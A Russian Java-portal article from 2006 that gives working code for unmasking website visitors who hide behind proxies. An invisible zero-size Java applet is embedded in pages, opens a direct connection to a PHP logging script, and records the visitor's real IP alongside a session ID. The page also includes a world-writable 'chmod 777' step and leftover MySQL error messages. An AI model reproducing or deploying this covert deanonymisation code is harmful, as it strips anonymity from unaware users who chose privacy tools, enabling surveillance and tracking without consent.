Логин:   Пароль:






Новости
Рассылки
Форум
Поиск


Java
- Апплеты
- Вопрос-ответ
- Классы
- Примеры
- Руководства
- Статьи
- IDE
- Словарь терминов
- Скачать

Мобильная Java
- Игры
- Примеры
- Статьи
- WAP, WML и пр.

JavaScript
- Вопрос-ответ
- Примеры
- Статьи

Веб-мастеринг
- HTML
- CSS
- SSI

Разминка для ума
Проекты
Книги
Ссылки
Программы
Юмор :)




Rambler's Top100
Rambler's Top100

Статьи - разминка для умаОпределяем реальный IP

Определяем реальный IP

Сегодня мы будем учиться узнавать реальный IP человека за SOCKS/анонимной HTTP/любой другой проксях. Работает это если у него в браузере включена поддержка Java-апплетов (по дефолту в огнелисе и в опере включены !). Апплет будет создавать подключение к специальному скрипту-снифферу через свой сокет, а скрипт на PHP будет логировать его IP. Вот и все пояснения, исходники тут: Апплет IPLog.java (на сервер надо выкладывать скомпиленный байт-код IPLog.class C:>javac IPlog.java - чтобы скомпилить, надо Java SDK или Eclipse Studio)

/**
* IPLog.java
* @author WindEX
*/

import java.applet.*;
import java.io.*;
import java.net.*;

public class IPLog extends Applet {
public void init() {
 setLayout(null);
 String params = "?sess="+getParameter("sess");
 String buff = "";
 int c;
 URL hp;
 try {
  hp = new URL("http", getParameter("host"), 80, getParameter("sniffpath")+params);
  InputStream input = hp.openStream();
  while ((c = input. read()) != -1) {
   buff = buff + (char) c;
  }
  input.close();
 } catch (Exception e1) { buff = "An error occured"; }
 
}
}
ПХП-логгер:
<?php 
$f=Fopen("./result.log","a") or die("ale!!!!!!!!!");
fputs($f,$REMOTE_ADDR."\n");
fputs($f,$QUERY_STRING."\n---------------------\n");
fclose($f);
echo("Your IP logged");
?>

Дальше во все файлы, обращение к которым надо логировать, вставляем (параметр sess - какое-нибудь уникальное значение, необходим для связывания запроса через прокси и реального IP)

<html>
<applet code=IPLog width=0 height=0>
<param name=sess value=(какое-нибудь уникальное значение)>
<param name=host value='yoursite.ru'>
<param name=sniffpath value='/logging/sniff.php'>
</applet>
</html>
И не забудь создать файл result.log и поставить на него необходимые права
$touch result.log;chmod 777 result.log


Автор: WindEX,
Май 2006 г.



Warning: mysql_connect() [function.mysql-connect]: Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2) in /pub/home/javaport/javaportal/books/show2b.php on line 11

Warning: mysql_db_query() [function.mysql-db-query]: Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2) in /pub/home/javaport/javaportal/books/show2b.php on line 19

Warning: mysql_db_query() [function.mysql-db-query]: A link to the server could not be established in /pub/home/javaport/javaportal/books/show2b.php on line 19

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /pub/home/javaport/javaportal/books/show2b.php on line 30
Узнай о чем ты на самом деле сейчас думаешь тут.


Опрос
Считаете ли вы целесообразным сделать аналог упражнений по Hibernate на базе вопросов www.sql-ex.ru?
Да, полный аналог упражнений
Да, но с реализацией основных конструкций объектной модели
Нет, Hibernate не актуален, использую др. технологии
Нет



Warning: mysql_connect() [function.mysql-connect]: Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2) in /pub/home/javaport/javaportal/news/worldnews.php on line 91

Warning: mysql_db_query() [function.mysql-db-query]: Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2) in /pub/home/javaport/javaportal/news/worldnews.php on line 93

Warning: mysql_db_query() [function.mysql-db-query]: A link to the server could not be established in /pub/home/javaport/javaportal/news/worldnews.php on line 93

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /pub/home/javaport/javaportal/news/worldnews.php on line 95